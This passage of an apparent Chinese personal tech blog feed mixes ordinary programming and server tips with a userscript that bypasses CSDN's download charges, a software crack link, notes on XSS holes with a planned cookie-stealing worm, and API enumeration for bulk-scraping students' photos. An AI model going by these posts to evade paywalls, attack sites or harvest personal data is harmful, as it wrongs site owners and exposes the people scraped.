<div>据说这是jdk的问题，@Override是JDK5就已经有了，但有个小小的Bug，就是不支持对接口的实现，认为这不是Override 而JDK6修正了这个Bug，无论是对父类的方法覆盖还是对接口的实现都可以加上@Override。</div><br><div>首先要确保安装了jdk 1.6，</div><br><div></div><br><div>然后，在eclipse中修改配置，在 Windows-&gt;Preferences–&gt;java-&gt;Compiler–&gt;compiler compliance level 中选择 1.6，刷新工程，重新编译下；</div><br><div>如果还是不行，就在报错的工程上，鼠标右键选择 Properties–&gt;Java Compiler–&gt;compiler compliance level 中选择 1.6,刷新工程，重新编译下。</div><br><div></div><br><div><strong>二、Android之@Override详解</strong></div><br><div><br><br>Android的开发者对@Override肯定是非常熟悉，不管是自己的代码中还是书上都会出现，但是他是什么意思呢？如下：<br>@Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处:<br>1、可以当注释用,方便阅读<br>2、编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法)<br>example:<br><br>在重写父类的onCreate时，在方法前面加上@Override系统可以帮你检查方法的正确性。例如：<br><br>publicvoidonCreate(BundlesavedInstanceState){…….}<br>这种写法是正确的，如果你写成<br>publicvoidoncreate(BundlesavedInstanceState){…….}<br>这样编译器会报如下错误——<br>Themethodoncreate(Bundle)oftypeHelloWorldmustoverrideorimplementasupertypemethod，<br>以确保你正确重写onCreate方法。（因为oncreate应该为onCreate）<br>而如果你不加@Override，则编译器将不会检测出错误，而是会认为你新定义了一个方法oncreate。<br><br></div>]]></content>
    <summary type="html">
    <![CDATA[<p><strong>i一、java @override 报错处理</strong></p>
<p>有时候在自己电脑上编译通过的java代码，在别人那里却编译不通过，总是@override报错，把@override去掉就好了，但不能从根本上解决问题。</p>
<div>据说这是j]]>
    </summary>
    
      <category term="android" scheme="http://doubles.me/tags/android/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[openshift用ssh登陆后的目录结构]]></title>
    <link href="http://doubles.me/2013/05/11/641/"/>
    <id>http://doubles.me/2013/05/11/641/</id>
    <published>2013-05-11T13:30:47.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>之前把博客挂在sae上面- -不过速度还真是慢的可以- -</p>
<p>最近发现openshift好像还不错，还支持ssh，所以决定弄过去</p>
<p>折腾了一天弄openshift，ssh登陆功能比较强大</p>
<p>不过ssh登上去之后权限比较少，能访问的目录没几个</p>
<p>首先是/tmp/，临时文件目录，这个目录里面的文件10天不访问就会被自动删除</p>
<p>然后就是home目录~，具体路径是/var/lib/openshift//var/lib/openshift/3b67be8bfb3c4af9ac5348b6aeaabb91，其中3b67be8bfb3c4af9ac5348b6aeaabb91是一串随机的字符串，每个不同的应用都不一样</p>
<p>除了这个目录之外其他目录的权限都很少，要么只能读，要么连读都没法- -</p>
<p>在home目录下面，有app-root  cron-1.4  git  mysql-5.1  php-5.3这几个目录，从名字就很容易看出来每个目录是干嘛的，在cron,mysql跟php目录下面，主要是相应的配置文件，git下面是应用对应的git库，另外home目录本身我们是没有权限对齐进行写入的，也就是没办法添加或删除这个目录下的文件</p>
<p>然后app-root下面就是应用的数据了，里面有data，repo跟runtime三个文件夹，data里面的数据是永久保存的，repo是个符号链接，其正式路径是~/runtime/repo，里面的数据就是git push上去的东西，如果wordpress之类的东西把附件放在这个目录的子目录下面，push新代码之后数据就会丢失！runtime下面有repo文件夹，以及前面data文件夹的符号链接，和一个.state文件，里面是当前应用的状态</p>
<p>由于repo里面的东西，每次push之后就会丢失，所以保险起见，我把wp-contest文件夹整个移动到data下面，再在repo里面弄了一个符号链接，这样每次重新push就不会出现这个问题</p>
<p>在~下面还有隐藏文件夹.env，里面都是环境变量配置的一些文件，都是只读的，有个脚本USER_VARS，它会</p>
<p>从.uservars的脚本里面读相应的环境变量</p>
<p>但是我试了一下，.uservars打不开,官方在<a href="https://bugzilla.redhat.com/show_bug.cgi?id=883317里面说暂时还没开放这个功能-" target="_blank" rel="external">https://bugzilla.redhat.com/show_bug.cgi?id=883317里面说暂时还没开放这个功能-</a> -</p>
<p>网上很多利用ssh管理openshift空间的帖子中，大都直接把数据放在repo里面，这样万一不小心用git push了一次，数据就全部丢失了，随意最好还是把有用的数据放在data里面之后做符号链接，为了方便，可以再git的脚本里面添加相应的代码</p>
<p>如果嫌麻烦，为了保险起见，最好想办法把git的功能禁用掉- -我在网站里面没找到相应的选项，干脆就把git文件夹下面的东西都删了- -这样再对空间进行git操作就会报错- -结果就是没法用git上传代码了- -</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>之前把博客挂在sae上面- -不过速度还真是慢的可以- -</p>
<p>最近发现openshift好像还不错，还支持ssh，所以决定弄过去</p>
<p>折腾了一天弄openshift，ssh登陆功能比较强大</p>
<p>不过ssh登上去之后权限比较少，能访问的目录没几]]>
    </summary>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[解决缺少R文件]]></title>
    <link href="http://doubles.me/2013/05/11/630/"/>
    <id>http://doubles.me/2013/05/11/630/</id>
    <published>2013-05-11T13:11:26.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>首先确定你的SDK是新的。</p>
<p>其次接下来检查你的.xml文件，文件名不能大写。</p>
<p>如果xml文件太多 ，那么clean一下你的项目，这时候注意看Console的提示。</p>
<p>Console会提示你xml文件错误在哪里</p>
<p>修改完xml文件之后</p>
<p>clean你的项目，再build你的项目</p>
<p>R.java会重新出现或更新</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>首先确定你的SDK是新的。</p>
<p>其次接下来检查你的.xml文件，文件名不能大写。</p>
<p>如果xml文件太多 ，那么clean一下你的项目，这时候注意看Console的提示。</p>
<p>Console会提示你xml文件错误在哪里</p>
<p>修改完xm]]>
    </summary>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Openshift上mysql挂了，如何解决？]]></title>
    <link href="http://doubles.me/2013/05/11/628/"/>
    <id>http://doubles.me/2013/05/11/628/</id>
    <published>2013-05-11T13:03:43.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>ps -ef | grep -i mysqld       查看mysql是否启动，有显示就是启动了。</p>
<p>然后重启一下mysql  <a href="https://www.openshift.com/forums/openshift/can-not-connect-to-mysql-in-application-node-0请看5楼" target="_blank" rel="external">https://www.openshift.com/forums/openshift/can-not-connect-to-mysql-in-application-node-0请看5楼</a></p>
<p>&nbsp;</p>
<p>Your database inside OpenShift cannot be reached directly from public Internet for security reason. That’s working as designed.</p>
<p>Another scenario, I tried and it worked well both ways when connecting mysql database inside the app:</p>
<p><code>mysql -h&quot;$OPENSHIFT_DB_HOST&quot; -P&quot;$OPENSHIFT_DB_PORT&quot;</code></p>
<p>or just <code>mysql</code></p>
<p>Maybe you can try to restart your mysql database by <code>rhc cartridge restart mysql-5.1 -a $app_name</code> or restart your app by <code>rhc app restart -a $app_name</code>. Then check if it works.</p>
<p>&nbsp;</p>
<p>在windows上安装rhc ，然后restart一下mysql 和app，当时并没有解决，但是第2天就连接成功了。</p>
<p>使用这句话也可以连接数据库，当然这是官方推荐的方法   mysql -h”$OPENSHIFT_DB_GEAR_DNS” -P”$OPENSHIFT_DB_PORT”</p>
<p>在Openshift论坛上提问了，虽然不是这样结局的，但是其中一个回复告诉了如何备份mysql，留着看看吧。</p>
<p><a href="https://www.openshift.com/forums/openshift/can-not-find-mysql-server" target="_blank" rel="external">https://www.openshift.com/forums/openshift/can-not-find-mysql-server</a></p>
<p>&nbsp;</p>
<p>Just as an example, here is how I take backup of my MYSQL database running in OpenShift environment and bring its copy to my laptop:</p>
<p>0) preparation step. Collect connection information (SSH to your application gear, execute following commands)</p>
<p><pre>set | egrep MYSQL<br>echo $OPENSHIFT_APP_NAME<br>exit</pre><br>Do not forget to update your rhc gem: <code>gem update rhc</code></p>
<p>1) establish port-forwarding from your desktop <code>rhc port-forward -a myapp</code>. Run it in first terminal window</p>
<p>2) Take backup of database (run it from second terminal window):</p>
<p><pre>export OPENSHIFT_APP_NAME=myapp<br>export OPENSHIFT_MYSQL_DB_USERNAME=admin<br>export OPENSHIFT_MYSQL_DB_PASSWORD=”very_very_secure_password”<br>export OPENSHIFT_MYSQL_DB_HOST=”127.0.0.1”<br>export OPENSHIFT_MYSQL_DB_PORT=60696</pre></p>
<p>mysqldump –add-drop-table –order-by-primary –compress –lock-tables –host 127.0.0.1 –port 60696 –single-transaction -u $OPENSHIFT_MYSQL_DB_USERNAME -p”$OPENSHIFT_MYSQL_DB_PASSWORD” $OPENSHIFT_APP_NAME &gt; ${OPENSHIFT_APP_NAME}.sql<br>Good luck, Boris</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>ps -ef | grep -i mysqld       查看mysql是否启动，有显示就是启动了。</p>
<p>然后重启一下mysql  <a href="https://www.openshift.com/forums/openshift/can-not-conne]]>
    </summary>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[csdn免积分下载器]]></title>
    <link href="http://doubles.me/2013/04/25/623/"/>
    <id>http://doubles.me/2013/04/25/623/</id>
    <published>2013-04-25T13:55:34.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>最早是wooyun上讨论的</p>
<p><a href="http://zone.wooyun.org/content/3354" target="_blank" rel="external">http://zone.wooyun.org/content/3354</a></p>
<p>&nbsp;</p>
<p>在线版，利用帐号登入的</p>
<p><a href="http://124.146.62.26:18250/" target="_blank" rel="external">http://124.146.62.26:18250/</a></p>
<p>&nbsp;</p>
<p>就是csdn上下载的api</p>
<p><a href="http://download.csdn.net/index.php/rest/source/getsourceinfo/5275116" target="_blank" rel="external">http://download.csdn.net/index.php/rest/source/getsourceinfo/5275116</a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/QQ20130426004612.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/QQ20130426004612.png" alt="QQ20130426004612"></a></p>
<p>&nbsp;</p>
<p>另外一个在线版，解析这个api的</p>
<p><a href="http://sharingcode.sinaapp.com/index.php/c/csdn/index" target="_blank" rel="external">http://sharingcode.sinaapp.com/index.php/c/csdn/index</a></p>
<p>&nbsp;</p>
<p>有基友写好了一个油猴脚本，GreaseMonkey，我用的chrome，tampermonkey也一样使用</p>
<p>&nbsp;</p>
<p>// ==UserScript==<br>// @name        CSDN免积分下载<br>// @description 免积分 懂的<br>// @include     <a href="http://download.csdn.net/detail/*" target="_blank" rel="external">http://download.csdn.net/detail/*</a><br>// @include     <a href="http://download.csdn.net/download/*" target="_blank" rel="external">http://download.csdn.net/download/*</a><br>// @version     0.0.1<br>// @require     <a href="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js" target="_blank" rel="external">http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js</a><br>// @grant       GM_xmlhttpRequest<br>// @author      那个用就是那个的<br>// @license  MIT License<br>// ==/UserScript==<br>(function() {<br>var id = location.pathname.match(/\d+/)[0];<br>var isGetAddress = false;<br>var $download = $(‘.res_down_area .left’).after(‘&lt;a href=”javascript:void(0)”&gt;免积分下载&lt;/a&gt;’).next();<br>$download.click(function() {<br>if (isGetAddress) {<br>return;<br>}<br>GM_xmlhttpRequest({<br>method: ‘GET’,<br>url: ‘<a href="http://download.csdn.net/index.php/rest/source/getsourceinfo/" target="_blank" rel="external">http://download.csdn.net/index.php/rest/source/getsourceinfo/</a>‘ + id,<br>onload: function (response) {<br>$download.attr(‘href’, localStorage[id] = JSON.parse(response.responseText).url);<br>isGetAddress = true;<br>$download.html(‘开始下载’);<br>}<br>});<br>});<br>})();</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/QQ20130426005156.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/QQ20130426005156.png" alt="QQ20130426005156"></a>测试可用，我也省的写了，嘿嘿</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>最早是wooyun上讨论的</p>
<p><a href="http://zone.wooyun.org/content/3354" target="_blank" rel="external">http://zone.wooyun.org/content/3354</a>]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="杂碎" scheme="http://doubles.me/tags/%E6%9D%82%E7%A2%8E/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[如何生成类似chrome首页的网页快照,截图，缩略图]]></title>
    <link href="http://doubles.me/2013/04/22/621/"/>
    <id>http://doubles.me/2013/04/22/621/</id>
    <published>2013-04-22T12:57:39.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>网上找了很多，php有一个函数imagegasscreen，可以实现，但是windows only。测试中也一直是黑屏的。</p>
<p>后来找了其他的许多方式。</p>
<div>几个第三方的 API：（收费）<br><span style="color: #778087; font-family: 'Helvetica Neue', 'Luxi Sans', 'DejaVu Sans', Tahoma, 'Hiragino Sans GB', STHeiti;"><a href="http://url2png.com/" target="_blank" rel="external">http://url2png.com/</a>   </span><br><a href="http://blitline.com/docs/blitshot" target="_blank" rel="external">http://blitline.com/docs/blitshot</a><br><span style="color: #778087; font-family: 'Helvetica Neue', 'Luxi Sans', 'DejaVu Sans', Tahoma, 'Hiragino Sans GB', STHeiti;"><a href="http://www.paulhammond.org/webkit2png/" target="_blank" rel="external">http://www.paulhammond.org/webkit2png/</a>     </span>本机小工具<br><span style="color: #778087; font-family: 'Helvetica Neue', 'Luxi Sans', 'DejaVu Sans', Tahoma, 'Hiragino Sans GB', STHeiti;"><a href="https://urlbox.io/" target="_blank" rel="external">https://urlbox.io/</a></span></div><br><div><span style="color: #778087;"> </span></div><br><div><span style="color: #778087;"> </span></div><br><div><span style="color: #778087;">javascript实现，客户端呈现，但是我想要的是能截图并保存下来的</span></div><br><div><br><div><span style="color: #778087; font-family: 'Helvetica Neue', 'Luxi Sans', 'DejaVu Sans', Tahoma, 'Hiragino Sans GB', STHeiti;"><a href="http://html2canvas.hertzen.com/screenshots.html" target="_blank" rel="external">http://html2canvas.hertzen.com/screenshots.html</a></span></div><br><div><span style="color: #778087; font-family: 'Helvetica Neue', 'Luxi Sans', 'DejaVu Sans', Tahoma, 'Hiragino Sans GB', STHeiti;"> </span></div><br><div><span style="color: #778087; font-family: 'Helvetica Neue', 'Luxi Sans', 'DejaVu Sans', Tahoma, 'Hiragino Sans GB', STHeiti;"> 最后找到了这个：</span></div><br><div><span style="color: #778087; font-family: 'Helvetica Neue', 'Luxi Sans', 'DejaVu Sans', Tahoma, 'Hiragino Sans GB', STHeiti;">phantomjs，比较好</span></div><br><div><a href="https://github.com/ariya/phantomjs" target="_blank" rel="external">https://github.com/ariya/phantomjs</a></div><br><div></div><br><div> <a href="http://phantomjs.org/download.html下载bin文件过来，就可以直接使用，" target="_blank" rel="external">http://phantomjs.org/download.html下载bin文件过来，就可以直接使用，</a></div><br><div>examples目录下有js，执行bin文件就ok</div><br><div><br><pre></pre><br></div><br><div> 这里是 截屏的说明   <a href="https://github.com/ariya/phantomjs/wiki/Screen-Capture" target="_blank" rel="external">https://github.com/ariya/phantomjs/wiki/Screen-Capture</a></div><br><div>phantomjs rasterize.js <a href="http://raphaeljs.com/polar-clock.html" target="_blank" rel="external">http://raphaeljs.com/polar-clock.html</a> clock.png</div><br><div><br><pre>_<br>我连上ssh来试一下。<br><br>wget “phantomjs-1.9.0-linux-i686.tar.bz2”<br>tar -zvfj phantomjs-1.9.0-linux-i686.tar.bz2<br>cd phantomjs-1.9.0-linux-x86<em>64/bin<br><br>./phantomjs ../examples/rasterize.js <a href="http://raphaeljs.com/polar-clock.html" target="_blank" rel="external">http://raphaeljs.com/polar-clock.html</a> clock.png<br><br>然后看这里，<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/QQ20130422235735.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/QQ20130422235735.png" alt="QQ20130422235735"></a></em></pre><br></div><br><div></div><br></div>]]></content>
    <summary type="html">
    <![CDATA[<p>网上找了很多，php有一个函数imagegasscreen，可以实现，但是windows only。测试中也一直是黑屏的。</p>
<p>后来找了其他的许多方式。</p>
<div>几个第三方的 API：（收费）<br><span style="color: #778087]]>
    </summary>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[GAE全局代理]]></title>
    <link href="http://doubles.me/2013/04/21/619/"/>
    <id>http://doubles.me/2013/04/21/619/</id>
    <published>2013-04-21T13:04:33.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>使用这个软件，可以将gae应用到所有的软件设置上。<br><a href="http://www.proxycap.com/index.html" target="_blank" rel="external">http://www.proxycap.com/index.html</a><br>看下介绍。<br>ProxyCap enables you to redirect your computer’s network connections through proxy servers. You can tell ProxyCap which applications will connect to the Internet through a proxy and under what circumstances. This is done through a user friendly interface, without the need to reconfigure any of your Internet clients. ProxyCap has native support for the SSH protocol, allowing you to specify a SSH server as the proxy server.</p>
<p>破解补丁</p>
<p><a href="http://www.astray.cn/proxycap-crack-patch/" target="_blank" rel="external">http://www.astray.cn/proxycap-crack-patch/</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>使用这个软件，可以将gae应用到所有的软件设置上。<br><a href="http://www.proxycap.com/index.html" target="_blank" rel="external">http://www.proxycap.com/index.ht]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[11对战平台（记录）]]></title>
    <link href="http://doubles.me/2013/04/17/614/"/>
    <id>http://doubles.me/2013/04/17/614/</id>
    <published>2013-04-17T02:37:05.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>以前看过11的，但是没找到xss，这下看到wooyun上的。我咋就是个傻逼呢。</p>
<p><a href="http://wooyun.org/bugs/wooyun-2010-019305" target="_blank" rel="external">http://wooyun.org/bugs/wooyun-2010-019305</a>  私信处可以直接给写xss</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/28001940e7cd43a92347e1eccb596f69cd91898f.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/28001940e7cd43a92347e1eccb596f69cd91898f.jpg" alt="28001940e7cd43a92347e1eccb596f69cd91898f"></a></p>
<p><a href="http://www.wooyun.org/bugs/wooyun-2010-08853" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2010-08853</a>   发布文章 TAG处写xss，修改maxlength限制<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/04/280019464145682eae13ad56a01569bffefaf2ff.jpg" target="_blank" rel="external">
</a></p>
<p>&nbsp;</p>
<p>老实说，截获过来的cookie不知道有没有用，不过可以写个蠕虫。下一步来弄</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>以前看过11的，但是没找到xss，这下看到wooyun上的。我咋就是个傻逼呢。</p>
<p><a href="http://wooyun.org/bugs/wooyun-2010-019305" target="_blank" rel="external">http://]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[去掉Evernote左下角广告]]></title>
    <link href="http://doubles.me/2013/03/28/611/"/>
    <id>http://doubles.me/2013/03/28/611/</id>
    <published>2013-03-28T10:43:19.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>最近开始用evernote，发现还是不错的，就是广告和流量限制不怎么舒服。</p>
<p>流量没办法，想办法去掉广告吧。</p>
<p>广告似乎不是写xml的，然后就网上找找。 52pojie上看到了 分析的文章。</p>
<p><a href="http://www.52pojie.cn/forum.php?mod=viewthread&amp;tid=144635" target="_blank" rel="external">http://www.52pojie.cn/forum.php?mod=viewthread&amp;tid=144635</a></p>
<p><span style="color: #0000ff;">由此可以看到,其实他的窗口创建都是去读相对应的类名找到对应类去注册 就像一张对应表把 比如通过类名<span style="font-family: Tahoma;"><span style="font-size: medium;">E.N.A.d.B.r.o.w.s.e.r.C.t.r.l   –&gt; 通过</span></span>GetClassInfoExW 去查询 发现这个类名存在</span><br><span style="color: #0000ff;">然后就去RegisterClassEx</span></p>
<p><span style="color: #0000ff;">打开 WINHEX 载入Evernote.exe  搜索 16进制值  <span style="font-family: Tahoma;"><span style="font-size: medium;">45004E0041006400420072006F0077007300650072004300740072006C </span></span></span></p>
<p>&nbsp;</p>
<p>照做，不过winhex找不到，可以使用其他的编辑软件搞定。我就不分析了，成功了都。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>最近开始用evernote，发现还是不错的，就是广告和流量限制不怎么舒服。</p>
<p>流量没办法，想办法去掉广告吧。</p>
<p>广告似乎不是写xml的，然后就网上找找。 52pojie上看到了 分析的文章。</p>
<p><a href="http://www.52]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[FaceJoking数据抓取分析]]></title>
    <link href="http://doubles.me/2013/03/27/592/"/>
    <id>http://doubles.me/2013/03/27/592/</id>
    <published>2013-03-27T13:25:04.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>做一个应用，打算加上高校的一些美女作为数据。人人的api真心不好懂。来回跳的，还有限制。 索性就到这里来拉数据了。<a href="http://www.facejoking.com" target="_blank" rel="external">http://www.facejoking.com</a></p>
<p>当初这个网站应该很出名的吧。 先用清华大学来看看。看看清华的美女吧。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316011950.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316011950.png" alt="QQ20130316011950"></a></p>
<p>选中后跳转到  <a href="http://www.facejoking.com/1001/0这个地址，前面翻看一下源码，没有任何数据，好吧，打开burp" target="_blank" rel="external">http://www.facejoking.com/1001/0这个地址，前面翻看一下源码，没有任何数据，好吧，打开burp</a> 抓个包看看。</p>
<p>看到没，<a href="http://www.facejoking.com//api/main/1001/0/44/1，明显是调用api，我们访问看看。" target="_blank" rel="external">http://www.facejoking.com//api/main/1001/0/44/1，明显是调用api，我们访问看看。</a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316012225.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316012225.png" alt="QQ20130316012225"></a></p>
<p>看到数据了。json格式的，一看就知道了，这是他会加载的首页数据。后面medium就是头像了。但是这个地址。。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316012815.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316012815.png" alt="QQ20130316012815"></a></p>
<p>现格式化看一下，名字和首页一模一样，我们可以确定了。这个地址呢通过首页页面元素分析得到2个地址。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316012859.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316012859.png" alt="QQ20130316012859"></a></p>
<p>一个是<a href="http://www.facejoking.com/pic/992660.jpg" target="_blank" rel="external">http://www.facejoking.com/pic/992660.jpg</a>     这个地址通过pid可以访问头像，（这是大图）</p>
<p>另一个是<a href="http://www.facejoking.com/uploads/m/gDnfqfeCKgHhuIg2qnbLjjW7MGxqnUzU" target="_blank" rel="external">http://www.facejoking.com/uploads/m/gDnfqfeCKgHhuIg2qnbLjjW7MGxqnUzU</a>，不过这个是小图，后面的height就是他的高度</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316013111.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316013111.png" alt="QQ20130316013111"></a></p>
<p>然后点开其他的学校，继续分析。最后我确定了他url的规则。</p>
<p><a href="http://www.facejoking.com//api/main/22001/0/35/1" target="_blank" rel="external">http://www.facejoking.com/api/main/1001/0/44/1</a></p>
<p><a href="http://www.facejoking.com/api/main/学校编码/0(女" target="_blank" rel="external">http://www.facejoking.com/api/main/学校编码/0(女</a>) &amp;1(男)/44(随机的一个值，字母都行，无论位数都不影响)/1（第一页）</p>
<p>第3个段的值我们可以验证一下，我分别测试了99，999，9999，0，g这几个数字，根据返回值中的pid，访问这样的页面，就可以看到这个人是哪个学校的。<a href="http://www.facejoking.com/people/992660" target="_blank" rel="external">http://www.facejoking.com/people/992660，似乎真的没影响。</a></p>
<p>其实可以通过遍历这个id，来抓取所有同学的学校，然后数据库里通过学校。。。。（pid从1开始，测试没到150w）</p>
<p>这个就简单，火车头都行，不用我写代码了。但是为了以后通用，还是写个php采集吧。</p>
<p>然后我们可以通过学校编码来遍历了。再来弄弄学校编码的规则。分析源代码，没有找到，数据包也没看到有，所以应该是写js里面，排除几个js后，我们锁定这一个js。</p>
<p><a href="http://www.facejoking.com/resources/js/main.js?v=73e1913b3cfc1dbaf1885969bc365850" target="_blank" rel="external">http://www.facejoking.com/resources/js/main.js?v=73e1913b3cfc1dbaf1885969bc365850</a></p>
<p>翻看了一会，发现这个学校json数据了。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316020427.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130316020427.png" alt="QQ20130316020427"></a></p>
<p>一共34个id，刚好34个省份，似乎不能这么说。然后就到写代码的部分了。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>做一个应用，打算加上高校的一些美女作为数据。人人的api真心不好懂。来回跳的，还有限制。 索性就到这里来拉数据了。<a href="http://www.facejoking.com" target="_blank" rel="external">http://www.fa]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="php" scheme="http://doubles.me/tags/php/"/>
    
      <category term="采集" scheme="http://doubles.me/tags/%E9%87%87%E9%9B%86/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[修改Ubuntu更新源为网易源]]></title>
    <link href="http://doubles.me/2013/03/27/608/"/>
    <id>http://doubles.me/2013/03/27/608/</id>
    <published>2013-03-27T12:21:36.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>cd /etc/apt/<br>sudo wget <a href="http://mirrors.163.com/.help/sources.list.lucid" target="_blank" rel="external">http://mirrors.163.com/.help/sources.list.lucid</a>             #Ubuntu 10.04<br>sudo wget <a href="http://mirrors.163.com/.help/sources.list.maverick" target="_blank" rel="external">http://mirrors.163.com/.help/sources.list.maverick</a>      #Ubuntu 10.10<br>sudo wget <a href="http://mirrors.163.com/.help/sources.list.natty" target="_blank" rel="external">http://mirrors.163.com/.help/sources.list.natty</a>             #Ubuntu 11.04<br>sudo wget <a href="http://mirrors.163.com/.help/sources.list.oneiric" target="_blank" rel="external">http://mirrors.163.com/.help/sources.list.oneiric</a>          #Ubuntu 11.10<br>sudo wget <a href="http://mirrors.163.com/.help/sources.list.precise" target="_blank" rel="external">http://mirrors.163.com/.help/sources.list.precise</a>         #Ubuntu 12.04<br>sudo rm -rf sources.list<br>sudo mv sources.list.xxxxx sources.list</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>完成后输入sudo apt-get upgrade就能更更新了。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>cd /etc/apt/<br>sudo wget <a href="http://mirrors.163.com/.help/sources.list.lucid" target="_blank" rel="external">http://mirrors.163.com]]>
    </summary>
    
      <category term="linux" scheme="http://doubles.me/tags/linux/"/>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[打造windows7sp1 32位和64位 2合1光盘]]></title>
    <link href="http://doubles.me/2013/03/26/605/"/>
    <id>http://doubles.me/2013/03/26/605/</id>
    <published>2013-03-26T14:00:57.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>32位的镜像是2g多，一张光盘4.7g，所以我就打算把2个和一起来刻一张盘。</p>
<p>网上的下的不放心。过程如下</p>
